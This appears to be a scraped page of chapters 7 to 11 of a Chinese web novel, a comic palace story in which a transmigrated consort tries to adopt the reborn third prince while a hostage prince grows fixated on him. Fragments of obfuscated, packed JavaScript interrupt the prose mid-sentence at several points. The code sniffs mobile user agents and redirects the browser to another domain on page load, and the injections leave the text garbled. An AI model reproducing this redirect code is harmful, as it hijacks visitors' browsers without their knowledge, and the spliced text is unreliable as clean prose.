l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15634811|172633||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 又拍拍容冽的肩:“哈哈,我哪有你这么大的臭弟弟呢?我只想有你一个这么乖的好儿子。” 容冽:“……” 曲月翎这张嘴,文化不高点的是真听不懂他到底是在骂人还是夸人。 甚至就算是在夸人,有时听上去也像在骂人,真不明白如此仙气出尘的脸上为何会生着这样一双惹人厌的唇。 只是容冽此时此刻的心中所想,曲月翎一概不知。 曲月翎只苦恼容冽为什么不是男主呢? 真正的男主三皇子梁初景那边,他只和人见了一面就被梁初景嫌恶地赶走了,而他三番两次救容冽于水火,那容冽若是男主,以后登基了,不说往死里孝敬他,那也至少会尊奉他为“太后”报答这份恩情吧? 说到底,还是因为那天没挨丽妃的打,蝴蝶效应把能顺利收养好大儿的剧情扇歪了。 曲月翎长长叹出一口气,将搭在容冽肩上的手挪开,改为摸着自己的脸自言自语:“这该死的美貌误了我啊。” 耳力敏锐,听到他小声讲话的容冽:“…………” 而曲月翎仍在沉思,他觉得按照今天和三皇子见面的情况来看,他就算和皇帝提了想收养三皇子的事,此事也未必能成,因为三皇子大概率会抗议。 常年蝉联公司十佳员工的顶级牛马曲月翎,绝不会没有备用方案。 他想了个妙计,对容冽说:“二皇子此人心胸狭隘,睚眦必报,我觉得他不会轻易放过你,这样吧,往后我会每日去接你下课,不会再给二皇子欺负你的机会。” “阿翎哥哥对我真好。”容冽扯出笑容,“以后,阿翎哥哥就叫我……”的名字吧。 只是这话没能完整讲完,曲月翎就接道:“冽儿。” 容冽:“……” 曲月翎走累了,想坐轿辇了,就把容冽送到能望见宫门的地方,和他道别:“天色已晚,冽儿你快回去吧,我们明日再见。” 送走容冽,系统终于有机会和曲月翎商议事情了:“你打算每天去接容冽放学时,顺路和三皇子讲讲话,培养下感情?” “狗宝你最懂我。”曲月翎在轿辇上狂摸系统狗头,“求人不如求己啊,何况男人一般都不靠谱,皇帝老登那种渣男更是其中翘楚,我们不能把收养三皇子的希望都寄托在他身上。” “对了,你也听到了吧?三皇子今天叫和他特别亲近的那个宫女‘窈娘’。” “是。”系统说,“她应该就是那个在冷宫里,陪伴三皇子长大的女主钟以窈了。” 曲月翎道:“所以你也别闲着,我看她挺喜欢你的,你得想办法去勾引她,比如练点后空翻什么的,也和她打好关系,总之我们得用尽一切手段去攻略男主。” 系统:“……行吧。” “唉……虽然距离三皇子登基还有很久,我们时间是够的。”曲月翎望着远处的落日,触景生情,叹息一声接连一声,“但还是希望今晚老登皇帝能有点用,让我能少走几年弯路吧。” 8. 第 8 章 事实证明,老渣男是靠不住的。 皇帝梁怀徽傍晚来陪曲月翎吃了晚饭,曲月翎在用膳间,继续对满桌盛宴“触景生情”,说自己今天找狗找到冷宫去了,在那里碰见了吃不好也睡不好,瘦骨嶙峋的三皇子,很是心疼。 梁怀徽听完也叹了口气,满目悲恸沧桑道:“是……你姐姐在我走后,怕是也终日吃不好睡不好,才相思成疾……彻底与我天人永隔吧?” 说到末尾,梁怀徽甚至哽咽了起来,抬手按着眼睛不断耸肩。 曲月翎:“……” 曲月翎看得又无语又沉默,他不相信这个花心的老登皇帝会真为他死去的姐姐曲月珠流泪,否则梁怀徽怎么可能一回国就像从没见过曲月珠这个人似的,直到联姻时才重新变成卫祁第一深情呢? 所以他像学校里偷看同桌有没有哭的学生那样,弯腰去看梁怀徽的脸,谁知却真看见了满脸泪水?! 曲月翎顿时满头问号。 不是? 哥,你真哭啊? 曲月翎赶紧抄起手边的帕子,起身要去给梁怀徽擦泪:“节哀吧,陛下,您先擦擦……” 结果他刚隔着帕子碰到梁怀徽的手背,梁怀徽也猛地站了起来,怪叫一声:“啊!” 他这一叫把曲月翎也吓了一跳,跟着“啊”了一声。 “月、月翎……”梁怀徽睁大了眼睛,扶着桌面后退两步,抚着呯呯直跳的心口,满脸是泪颤声问,“你、你要对朕做什么?” 曲月翎也被他的一惊一乍吓得心跳失序:“……我准备送帕子给你擦脸。” “哦哦……” 梁怀徽闻言继续颤着胳膊接过手帕,抬手就往额头那擦被吓出的汗。 “擦泪。”曲月翎表情复杂地提醒他,“陛下,擦泪。” “哦哦……” 梁怀徽改道往眼睛那擦去,擦完眼泪帕子也没放下,继续擦汗。 曲月翎看着他这副模样,总有种梁怀徽才是那个伴君如伴虎的妃子,而他是威不可测的皇帝的错觉。 “陛下,你很怕我吗?”曲月翎试探性地问。 “朕怎么会怕你呢?朕爱你都来不及。”梁怀徽苦着脸强撑假笑,“你的身体最忌多思多虑,不要瞎猜,朕今晚、今晚……” 梁怀徽深吸一口气,再咬咬牙:“今晚陪你!” 曲月翎:“……” “陛下要不去看看三皇子吧。”曲月翎不想和他玩“你猜我猜”的猜心游戏,说正事,“三皇子都病好几日了,今日我见他时,身体看着依旧不太好。” 梁怀徽如蒙大赦,松了口气重新坐下:“朕的月翎真是心善,其实朕也正有此意。” 随后,他便和曲月翎讲起了三皇子梁初景的事。 梁初景是梁怀徽的侍寝宫女阿鸾所生,阿鸾身份地低微,靠着生育了皇子才升为静妃,但她却在三皇子七岁时,被抓住与宫中侍卫有染,梁怀徽顾念旧情不忍赐死她,只将其打入冷宫。 可阿鸾温良柔顺,却也极其刚烈,她坚称自己从未对不起陛下,愿以死自证清白,次日便吊死在冷宫房梁之上。 而第一个发现阿鸾尸体的,就是前来冷宫寻母,年仅七岁的三皇子梁初景。 从此以后,梁初景性情大变,固执地住去了冷宫,与梁怀徽关系极差。 梁怀徽虽有意修复父子关系,却始终未能见效。 曲月翎听着就忍不住想:这狗血、凄惨、可怜的往事,简直就是小说男主标配啊,梁初景不是男主,还能是谁呢? “其实朕今日午时去见过初景了,那时他还在发烧。” 梁怀徽告诉曲月翎,梁初景经此一病后,又性情大变了,和梁怀徽说话时不再像以前那样浑身是刺了,也愿意搬出冷宫,去皇子殿里居住,但他有一个要求,那就是要将他的生母阿鸾,追封为皇贵妃。 人死了,再多的荣华都是虚名。 梁怀徽在当年阿鸾死后,恸哭三日,早就将阿鸾追封为贵妃了,如今再追封她为皇贵妃,换回一个好儿子,梁怀徽没什么理由不同意,当即就同意了梁初景的要求,现在就等挑个黄道吉日下旨呢。 “朕以前还说想为他寻一位养母,好好照顾他,可今日初景竟主动和朕说,以前是他还小不懂事,现在他长大了,能自己照顾自己了,让朕不必为他多操心。”梁怀徽欣慰地笑了笑,“想来,朕也不用再为他烦忧寻找养母的事了。” 曲月翎:“……” 老登走了,去看他的好儿子退烧了没,在新宫殿里又住得适应不适应。 只有曲月翎走不出来。 因为老皇帝不仅没让他少走几年弯路,反而让他要多走几年弯路,他走得出来吗? “为什么会这样?”曲月翎揽镜自照,失魂落魄地询问系统,“这么一张不过略有几分姿色的脸,能造成的蝴蝶效应就这么大吗?” 系统同样万分迷惑:“我也搞不懂到底是哪里出了问题,我感觉三皇子不太对劲。” 曲月翎说:“何止是他不太对劲,梁怀徽也不对劲!” “梁怀徽崆峒嘛,这很容易看出来。”系统揣测,“难道三皇子也崆峒吗?所以他特别讨厌你?” “那完蛋了。”曲月翎说,“我在这后宫里要是直的,我还能活吗?” “能活。”系统残酷道,“大不了像太监一样活呗。” 曲月翎:“……” “可恶!让老登下令把三皇子直接给我抚养这条路是走不通了,还好我有b计划。”曲月翎爬进被窝里躺下,“事已至此,今晚就先睡觉吧。” 系统也往床底下的狗窝爬去:“晚安。” 但曲月翎眼疾手快捉住了它的双马尾:“你睡什么?你还没练会后空翻呢。” 系统:“?” 系统:“我不加班。” “你必须加,我不理解,你才几岁?”曲月翎也残酷地问它,“这个年纪你是怎么睡得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15634812|172633||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着啊?” 系统道:“三个月,刚断奶不久。” 曲月翎:“……那睡吧,用童工犯法。” 一人一狗沉沉睡去,一觉睡到中午才醒。 这个朝代后宫并没有嫔妃每日都要去向皇后请安的规矩,大家只用在每月初一去见见皇后就行。甚至因为曲月翎是男的,其他嫔妃是女的,且他患有心疾,身体不好,所以皇后特许他初一也无须过去问安。 而曲月翎醒来后,一边吃着午饭一边回忆,总感觉自己好像忘了什么事。 吃到半饱时才想起,他是不用每日去给皇后问安,质子容冽却是要每日来向他道歉的。 “哎呀,昨天忘了告诉他,以后都不用早早进宫来和我问安了。”曲月翎屈指敲敲额头,“他不会在我殿门外等了一早上吧?” 召来宫人一问,才得知容冽确实今早确实等了他很久,可他一直没起床,最后容冽为了不耽误国子监上课只能先行离开,并托宫人们转告曲月翎,说他下午放课后才来向曲月翎请罪。 曲月翎在清点他路上要带的糕点间隙和系统说:“我真不是故意鸽他的,实在是我满脑子都是怎么攻略男主三皇子,一时不太想得起容冽这个配角了。” “问题不大,他又不是男主,现在的关键是——”在练后空翻的系统也抽空回曲月翎道,“你确定冷若冰霜的男主会喜欢这种甜到发腻的糕点吗?” “男主喜不喜欢不重要,他老婆喜欢他就会喜欢。”曲月翎说,“我都打听过了,这个‘糖耳朵’是钟以窈最喜欢的甜食;我也尝过了,宫中御厨的手艺就是不错哈,很好吃,我都爱吃呢。” “三皇子就算不吃,也会为了这糕点多看我几眼。” “不然我空手而去,他肯定连一眼都不会看我。”说到这,曲月翎瞥了系统一眼,“除非你会后空翻。” 系统:“……别催,在练了在练了。” 收拾好东西,一人一狗出门。 曲月翎今天没坐轿辇,让宫人帮自己拎着食盒,步行朝崇文馆走去——今日皇子们不上武课,只上礼仪律法课。 他到的时间掐得准,正是皇子们能放学走人时。 曲月翎就站在树荫下等,通身碧衣几乎要融化到那翡翠般的绿叶里,可他那张清艳如画的脸,又实在叫人无法忽视,一身雪肤在暗影中也白若新雪,墨发青丝则在斑驳的日光里微微洇出朦胧光华,仿佛隔绝凡尘的仙雾,再有那额心红痣一点,活脱脱便是不容亵渎的菩萨神相。 但容冽自崇文馆中踏出,一抬眸瞧见青年时,却只觉得他活色生香,撩人心弦。 而青年仿佛也在等他。 望见他后,绿眸霎时晶亮,嘴角温柔地勾起,快步走来,口中也在念:“三殿下……” 看到这一幕,容冽不由微微勾唇,一声“阿翎哥哥”就要泄出唇缝,青年却快步与他擦肩而过了。 容冽:“……” 容冽的嘴角又抿平了。 9. 第 9 章 与曲月翎初遇时,容冽还以为曲月翎会像其他宫人那样,因忌惮二皇子和其生母虞贵妃的锋芒而疏远他,可容冽没料想到,曲月翎的锋芒比他们更甚,根本就是无所畏惧,即使知道这样做可能会得罪二皇子和虞贵妃,青年仍然会为他解围,一次次护在他身前和二皇子对峙。 ——明明曲月翎这样做是没有任何好处的。 容冽不明白,他只是一个无权无势的异国质子,曲月翎为什么要对他这样好呢? 因为曲月翎心善吗? 但容冽又听宫人们说曲月翎脾气不好,任性跋扈,应当不会如此好心。 而他今日在青年宫门前站了一早上,沾了满身湿凉露水,也没能见到曲月翎一面,只确实见识到了他的娇纵。 不过没关系,反正他的人生已经够糟糕了。 曲月翎还愿意对他好,那他就借曲月翎的势,让自己能在这卫祁的皇城中过得好些;曲月翎不再愿意对他好了,那他最差不过是回到原点,又还能坏到哪去呢? 结果这一刻来得竟是如此之快—— 容冽见曲月翎没给自己一道目光,径直路过他,朝他身后去了。 他不懂,青年口中“三殿下”不是自己吗? 这里还有哪个三殿下? 跟着曲月翎转身回头一看,容冽才蓦然想起,确实还有一个“三殿下”的,那是比他更名正言顺,更担得起“三殿下”尊称的,卫祁三皇子——梁初景。 只是梁初景近几日请了病假,没来上课,加之他以前性格沉默寡言,独来独往,与自己也没什么交际,容冽才一时忽略了他。 但他把梁初景忽略了,曲月翎却没有。 容冽面无表情,注视着青年快步走到另一个“三殿下”面前,温声细语问他身体好些没?问完再提起手中的食盒,继续问梁初景要不要吃些糕点。 那种殷切专注的目光,曲月翎从前只用来看他的狗,从未这样看过旁人,包括自己。 此刻,他却将这样的目光落向了梁初景。 而梁初景面色冷淡,垂眼避开了青年的视线,甚至还后退了好几步,老气横秋地说:“多谢越妃挂念,我的身体已经全好了,昨日我病糊涂了,出言无状,还请越妃见谅。” “没事的没事的。”曲月翎摆摆手:“毕竟你也算是我儿子,我们都是一家人,用不着这么见外。” “……” 梁初景额角抽了下,嘴巴张张又合上,似乎不知道该怎么接曲月翎的话。 倒是二皇子冷笑一声,从崇文馆里疾步走出,插.入两人的谈话喝道:“曲月翎,你少往自己脸上贴金!” “谁是你儿子?谁跟你是一家人了?” “入宫的‘越妃’应当是曲月珠,你的名字根本就不在玉牒上!”二皇子指着曲月翎,将他昨日回去后查到的事情说出,“你算哪门子的‘越妃’?” 曲月翎听完他的话,也反应过来了,他是替嫁进宫的,被记载在皇室玉牒上的越妃之名是“曲月珠”,不是他,若非老登皇帝看了曲月珠临终前的泣泪血书,心生愧疚让他顶替了姐姐“成为”越妃,他不可能在卫祁皇宫里留下。 所以若细究起来,他其实和老登皇帝没有半点干系,更不可能是这群皇子的“母妃”。 但那又咋啦? 他就是有好姐姐送的“免死金牌”护着呀。 于是曲月翎也冷笑一声,斜眸睨着二皇子讥诮道:“行吧,我确实没有像你这么会狗叫的儿子。” “可再怎么说,我们也还是一家人啊。”曲月翎给肖似文盲的二皇子好好捋了下他们之间的亲缘关系,“因为曲月珠是我姐姐,你是我外甥,而我是你的小舅父。” “舅父舅父,一半是‘父’,四舍五入一下,我怎么不算你半个父亲呢?” 曲月翎捋到这里,忽然发现自己可以不做男妈妈了,直接做父亲,刹那间便弯眸笑起,碧色眼瞳中翠色流转,眼波盈盈,容貌是极美的,嘴也是极毒的:“二殿下,你既不肯认我这位‘母妃’,那从今往后,我们就各论各的吧,你管叫我‘爹’,我管叫你‘畜生’……哦不,是‘外甥’。” 此言一出,二皇子又一次目眦欲裂,却又因为骂不过曲月翎而只能抚胸直喘粗.气,如果不是因为他体壮如牛,恐怕早就被气晕了。 “二皇兄,别中计啊!”四皇子则像上回那样,怕事情闹大,又拉住二皇子的胳膊,想把人拽走。 连三皇子梁初景都微微睁大双眼,蹙眉诧异又疑惑地望着曲月翎,似乎对他感到十分陌生。 容冽望着这一幕,却不由在心中问:你在装什么? 你们俩昨日不是见过了吗? 说不定之前也经常见。 曲月翎可关心你了,问你病好了没,还给你带甜糕…… 就连二皇子那个狗东西,都和曲月翎说那么长的话,只有他——只有自己,既没得到青年的目光,也没得到他的关心,甚至连一句话都说不上。 容冽目光幽冷,死死盯着曲月翎。 他既想要曲月翎看他,又怕曲月翎真看向自己时,发现自己在看他。 这样扭曲阴暗的情绪在容冽心中翻搅着,使他那双黑色的眼瞳越发幽邃晦暗,最终容冽垂下长睫,将目光调转向曲月翎拎着食盒的手。 他想冷静一点,才不去看青年的脸。 但望着曲月翎的手,他又忍不住想:那双手纤细白皙,指腹柔软,曾经将他从地上牵起、曾经抚过他的脸、曾经为他上过药……如今却拎着要送给别人的礼物。 曲月翎是对谁都这么好吗? 在一刻,容冽突然希望曲月翎对他好是因为有求于他,而不是像现在这样,随便来个杂碎,都能分走他的目光和注意。 “……容殿下?” 容冽在不想听见的、来自曲月翎以外的声音中缓缓抬眸,见梁初景接过了曲月翎手里的食盒,有些犹豫地问他:“我方才见你一直盯着这食盒,你是不是也饿了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15634813|172633||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ?要不我们一起吃点吧?” 曲月翎还在纳闷梁初景怎么就忽地愿意接受他带的糖糕了,毕竟他和梁初景挨的近,能见梁初景眼中对他的厌烦防范和生疏冷落瞧得清清楚楚。 可梁初景望了容冽一眼后,却莫名改变了主意,接过食盒和他淡淡道了声谢,然后邀请容冽跟自己一块吃点东西。 曲月翎闻言便赶紧附和着梁初景说:“是啊,冽儿也一块吃点吧?这个糖耳朵很好吃,我中午在宫里时都吃了半碟呢。” “我不爱吃……” ——容冽拒绝的话语和曲月翎同时响起。 “嗯?”曲月翎咦了一声,“你不爱吃甜糕吗?” “是不怎么爱。”容冽顿了顿,开口,“但既然阿翎哥哥很喜欢……” 少年嘴角向上扬起,朝曲月翎浅浅微笑着,即使变声期的嗓音嘶哑低沉,在曲月翎听来,却犹如天籁。 因为他说:“我也想陪阿翎哥哥尝尝它的味道。” 天呐! 这孩子没白救! 曲月翎可太开心了,容冽回答“不爱吃”时,他还以为自己抓不住这个能借容冽和和梁初景多相处片刻的机会了呢,结果容冽居然这么贴心,不仅说了他想听的话,还特别强调道“陪阿翎哥哥”! 他问梁初景:“那我们一起去临柳湖边坐坐吧?” 说实话,梁初景是想拒绝曲月翎的,他这辈子都不想和曲月翎再有任何接触了,但他又需要和容冽结交相识……算了,梁初景在心中对自己道:先忍忍吧。 容冽此人生性多疑,凉薄狠戾,想取得他的信任,与他交好并不容易。 眼下容冽年纪与自己年纪差不多大,性格应当还没有将来那般沉郁阴鹜,他甚至会对曲月翎笑呢——还不是阴冷的嗤笑,自己该趁此机会和他结识,拉近关系才对。 故梁初景同意了曲月翎的提议。 三人一块到临柳湖边的石桌那坐下了,共同分吃食盒里的糖耳朵。 然而他们三人之中,真正爱吃甜食的只有曲月翎。 容冽不爱,从来不碰。 梁初景也不爱,他的膳食里出现甜品只有一种可能——特地留给窈娘的。 现在,曲月翎却往他们面前的小碟里,一人放了两块糖耳朵,随后语气慈爱道:“景儿、冽儿,快吃吧。” 梁初景:“……” 梁初景听着曲月翎对自己的称谓,只觉得牙齿比吃多了糖糕还酥软,令人浑身难受。 他捏起糖耳朵看了一眼坐在他对面的容冽,见容冽面沉似水,黑眸中甚至隐约可见几分阴郁,还以为容冽也在为曲月翎唤他“冽儿”的名称难受,便说:“越妃以后还是叫我初景吧。” 其实他直接称呼曲月翎为“越妃”其实的不太尊敬的,不过曲月翎本人好像不太在意,说:“那初景以后也和冽儿一样,都叫我‘阿翎哥哥’吧。” 青年话声甫落,梁初景就瞧见容冽抿紧唇线,眸光更幽沉了。 10. 第 10 章 果然是不喜欢“冽儿”这个一言难尽的称呼吧? 梁初景在心中猜测。 然而一言难尽归一言难尽,曲月翎既然能叫出此等亲近的称呼,就证明他和容冽相识,而且容冽还唤他“阿翎哥哥”,所以两人可能关系还算不错? 但他们为什么会认识呢? 梁初景明明记得,上一世容冽直到返回邺国,他也没跟曲月翎说过十句以上的话。 这一世,他却愿意陪着曲月翎坐下,吃他不爱吃的糖耳朵。 梁初景弄不清楚原因。 两天前,他重生了。 回到自己成为曲月翎养子前一个月。 别看曲月翎现在还像个正常人,可等他爱上自己父皇以后,他就会由于爱而不得,日渐疯魔,甚至变成因妒弑亲的白眼狼! 虽然梁初景知道这一切的罪魁祸首是他那天生风流、处处留情的父皇,曲月翎不过是一个如他母妃般,被他父皇蛊惑而深情错付的可怜人。 可梁初景实在忍受不了曲月翎在他父皇死后,将自己当做父皇的替身,终日骚扰他;更难以接受自己登基以后,曲月翎为独揽皇权,而给窈娘下毒,想控制自己的事。 所以重来一世,梁初景发誓这辈子绝对不要再和曲月翎扯上关系! 哪怕没有曲月翎的助力,只凭他一己之力很难坐上皇位,可做曲月翎的养子,无异于自寻死路。 相较之下,即使跟容冽合作,有驱虎吞狼,后患无穷的危险,梁初景也愿意一试。 毕竟上辈子容冽之所以对卫祁皇室的人恨之入骨,是因为长期遭受二皇子的欺辱,又无人肯帮他一回。 彼时自己虽曾有过对容冽施以援手的念头,却在听了曲月翎让他“明哲保身为上”的劝阻后,选择了袖手旁观,独善其身。 梁初景认为自己并非全然无辜,因此后来哪怕和前来攻打卫祁的容冽兵戎相见,死在他剑锋之下,心中对容冽也没太多怨恨,反而很欣赏他能屈能伸、百折不挠的性格,和其英武过人、悍勇善战的能力。 故这一世,梁初景决定不再对他二皇兄欺凌容冽的行为视而不见,只打算对容冽倾囊相助,希望能成为他的挚友;纵使不成,也应该能减少些容冽对卫祁的恨意,让容冽在未来与自己兵戈相见时有和谈的可能吧? 当然,梁初景不会把所有希望都寄托在容冽身上,只是此刻,这是他所能走的,最轻松容易的夺权之路。 ——以上种种,皆是梁初景意识到自己重生后的心中谋划。 不过在与曲月翎碰面之后,梁初景却觉得这一世的曲月翎和上一世不太一样了,甚至是变化极大。 譬如:曲月翎上一世是在爱上他父皇后,才放弃涂脂抹粉,以自己本来的面貌示人,可这一世曲月翎才入宫不久啊。 而且他也打听过了,这一世丽妃大闹栖月宫,扇曲月翎耳光的事情也并未发生,更重要的是,上一世曲月翎明明劝他不要为了容冽一个区区质子开罪二皇兄,这一世他怎么自己先和二皇兄杠上了呢? 难道说…… 曲月翎也重生了? 因此他知道二皇兄根本不可能登上皇位,既不怕得罪他了,也先自己一步向容冽伸出援手,救了他? 一想到有这种可能,梁初景就坐不住了,他想试探试探曲月翎。 于是梁初景一改之前的冷淡态度,如同被这盒糖耳朵收买了似的,难得露出个冰霜融化般的浅笑,对青年说:“确实如阿翎哥哥所言,这糖耳朵很好吃。” “觉得好吃,初景就再多吃几个吧。”曲月翎闻言又给梁初景夹了两块糖耳朵,还把整个食盒都往梁初景面前推了推,“把这盒糖耳朵带回去也行。” “阿翎哥哥总是这样体贴,难怪父皇昨晚来看望我时,一直和我说阿翎哥哥很好。”梁初景微顿话音,皱起眉头,一副难以启齿的模样,“只是父皇后来又说……” ——曲月翎爱惨了他父皇,若青年真是重生的,一定会急于知晓父皇都对自己说了什么有关他的事。 果不其然,青年一听他这么说,绿眸之中霎时便流露出了焦急和紧张的神色,连身体都往前倾了倾,追问道:“你父皇还说了我什么?” 梁初景目光骤冷,漠然说出最能刺激曲月翎暴露其疯癫本.性的话语:“他说你图有一张好脸,却身无所长,金玉其外,败絮其中,比起你,他还是更爱虞贵妃一些。” 不料青年听完竟抚着心口,松了口气似的说:“原来是说实话啊,我还以为在说我坏话呢。” 梁初景:“……?” 他根本不知道,曲月翎不是重生的,而是穿书的。 穿书的曲月翎才懒得管老登皇帝对自己是什么看法,也不在乎老登爱谁,反正老登谁都爱不长久,他只要确保老登不会在梁初景面前讲自己坏话,败坏男主对自己的好感度就行。 何况在这古代背景里,曲月翎确实没什么古人擅长的技能,琴棋书一窍不通,“画”倒是因为兼职会些,但他要谦虚,要藏拙,要等待一个合适的机会再暴.露自己会画画的特长,狠狠惊艳众人! 至于现在嘛…… 曲月翎垂下羽睫,神情忧郁羸弱,叹息说:“是的,我除了这张颇有几分姿色的脸以外,便身无专长。最多擅长养养狗吧。” 曾是他养子的梁初景:“……” 梁初景认为曲月翎有可能是在拐着弯骂自己,可紧跟着,青年便对挨在他腿旁的黑色细犬招招手:“来,双马尾,给你两位哥哥表演个后空翻。” 那黑色细犬颇通人性,应声听令,表演了个后空……摔。 “哈哈……看来这招它还没学会。”曲月翎讪笑两声,找补道,“不过握手它肯定是会的!” 说着,他便俯身朝小狗伸出右手,继续下令:“来,狗宝,握握手。” 小狗这次准确无误地把手放到了青年掌心里,被他握住上下摇摇。 觉得一人一狗动作分外眼熟的容冽:“……” 一番试探无所收获,但梁初景仍不敢掉以轻心,毕竟曲月翎上辈子留给他的心理阴影实在是太大了! 他决定再观察曲月翎一段时间,有曲月翎在场,他也不好与容 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15634814|172633||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 冽多说些什么,今日就先回去罢。 梁初景起身道别。 临走前,他拎起那盒糖耳朵准备带回去给窈娘吃。 容冽见状却忽地开口:“阿翎哥哥,我也还想吃几块糖耳朵。” “容殿下想吃?”梁初景闻言立刻示好,将食盒重新放下,“那我这盒糖耳朵给你……” 容冽掀眸,长睫之下的黑瞳幽然邃寂,淡声打断他:“那是阿翎哥哥给你的。” “三殿下。” “你怎么能将阿翎哥哥的心意,如此轻易地转赠给他人呢?” 容冽问完这句话,侧脸抬眸望了一眼曲月翎,又慢慢垂目睨向食盒,用一种求而不得、羡慕又落寞的语气低喃道:“如果是我……我是一块都舍不得浪费的。” “……” 梁初景张着嘴巴愣住。 不是? 他只是想把糖耳朵分给容冽吃啊,怎么就成浪费了? 曲月翎听完心中却暗喜,赶紧帮梁初景说话,觉得这是个刷男主好感的绝佳机会:“冽儿,初景是想把好吃的东西和你分享罢了,怎么算是浪费呢?” “对对对!”梁初景也赶忙解释,“我只是想同你分享,并没有别的意思。” “原来是这样……是我误会三殿下了。”容冽的神色和语调都没太大变化,但时刻关注着他举动的梁初景注意到,少年垂在身侧的五指缓缓攥紧了,“都怪我,我从没吃过这么好吃的糖耳朵,还以为这样好的宝贝没人愿意分享出去,只有不爱的、嫌弃的东西,才会随手施赠给旁人。” 梁初景:“我……” 梁初景这下是真的有口难言了。 只能说容冽不愧是后来接连踏平诸国的独夫暴君吗?性情就是这般多疑孤僻,喜怒无常,叫人极难接近交好。 当下,梁初景头一次庆幸曲月翎在场,能帮他打个圆场。 青年牵起少年的手腕晃了晃:“冽儿还想吃的话,一会儿去我宫里吃点?我宫里还有一些。” “好,谢谢阿翎哥哥。” 容冽也极难得的,朝曲月翎绽出霜雪消融般的浅笑:“即使那些是阿翎哥哥给三殿下挑完后剩下的,我也会全部吃光,绝不浪费。” 梁初景:“…………” 曲月翎再挺身而出,帮梁初景说话,一力抗下所有:“噢,那倒不是挑剩的,是我吃剩的。” 但容冽就是不会说曲月翎一句不好,他只说:“那更好了,阿翎哥哥碰到好吃的,竟愿意留一份给我。” 曲月翎匆匆和梁初景道了声别,就把容冽牵走了。 走出几步,曲月翎又回头,对呆在湖边的梁初景眨眨眼,用眼神告诉他:别慌,我帮你解围了。 然而又走远一截后,容冽也回头了。 他侧过身时,面对梁初景的那半张面孔,正好是盘踞着长疤的那一半。 它自额骨劈下,延至颧弓,仿佛竖瞳,令梁初景有种被毒蛇盯住的阴邪森然之感。 明明是春末夏初的好时季,梁初景站在凉爽的树荫下,脊背却莫名生出一股凉意。 11.第 11 章 曲月翎把容冽带回了自己的栖月宫,邀请他吃了一顿晚饭,顺带解释了下自己早上没有见他的原因,并让容冽以后都不用起个大早来他宫里请安了,因为他根本起不来,见不了容冽。 倒不是曲月翎消极怠工,他比系统都渴望加班,想赶紧把三皇子好感刷满,然后等老登驾崩他做太后,完成穿书剧情。 可他如今的身体实在是太不中用了。 曲月翎不清楚这具身体患有的是哪种心脏病,但他可以感觉到,这具新身体比上辈子他动手术前的身体情况稍微要好些,却也仅仅是一些。 这两天刚穿书的亢奋劲过去后,各种不适就压不住了。 他比寻常人更容易气短乏力,即使是刚从睡梦中醒来,也有休息不足的疲惫感。 皇帝让他不要多思多虑,好好卧床静养,包括皇后也免了他所有请安礼,应该都是顾虑到他身体羸弱,不能劳累。 就像比如现在,曲月翎只是下午出门活动了一会儿,吃完饭后,就已经倦得想回床上瘫着了。 而容冽听完了曲月翎的解释,轻声说:“原来阿翎哥哥早上不见我,是因为起迟了。” “我也挺想起早的。”曲月翎实话实说,“但是起不来。” “阿翎哥哥身体不好,我本不不该来整日打扰哥哥,让哥哥为我忧心,可陛下的罚令不可不从……”少年抬起眼睫,望着曲月翎道,“我仍会每日清晨来向哥哥请安,不过哥哥就不必见我了。” “不用不用。” 青年闻言连声拒绝,摆手时袖角滑落,引得容冽目光本能也落向那伶仃细腕间的雪色肌肤。 “我不是答应过你吗?往后每日下午,我都会去接你下课,你就在那时向我请安吧。”曲月翎给他出主意道,“陛下若问起,你就说是我让你这么做的。” 容冽仿佛叹息般,感喟道:“阿翎哥哥对我真好啊……” “只是……” 容冽视线上移,凝着青年眉心间的那点红痣,像跪在神相下的香客,询问他眼中高高在上,怜望世人的菩萨:“阿翎哥哥为什么会对我这样好呢?” 他问得认真,曲月翎却只是随口一答:“同为异国他乡客,我们都在用力地活着,自然得互帮互助。” 容冽又说:“但我帮不了阿翎哥哥什么。” 曲月翎则答:“我乐善好施,不需要你回报我什么。” 不过曲月翎认为自己给出的答案,前半句是假话,后半句才是真话——他确实不需要容冽回报给自己什么,因为他为了容冽整天和二皇子抬杠吵架,纯粹就是素质差,想骂人发泄压力的,二皇子也活该被骂! 再说了,他都穿书穿成“宠妃”了,不嚣张跋扈一点,肆意妄为一些,他不白穿书了吗? 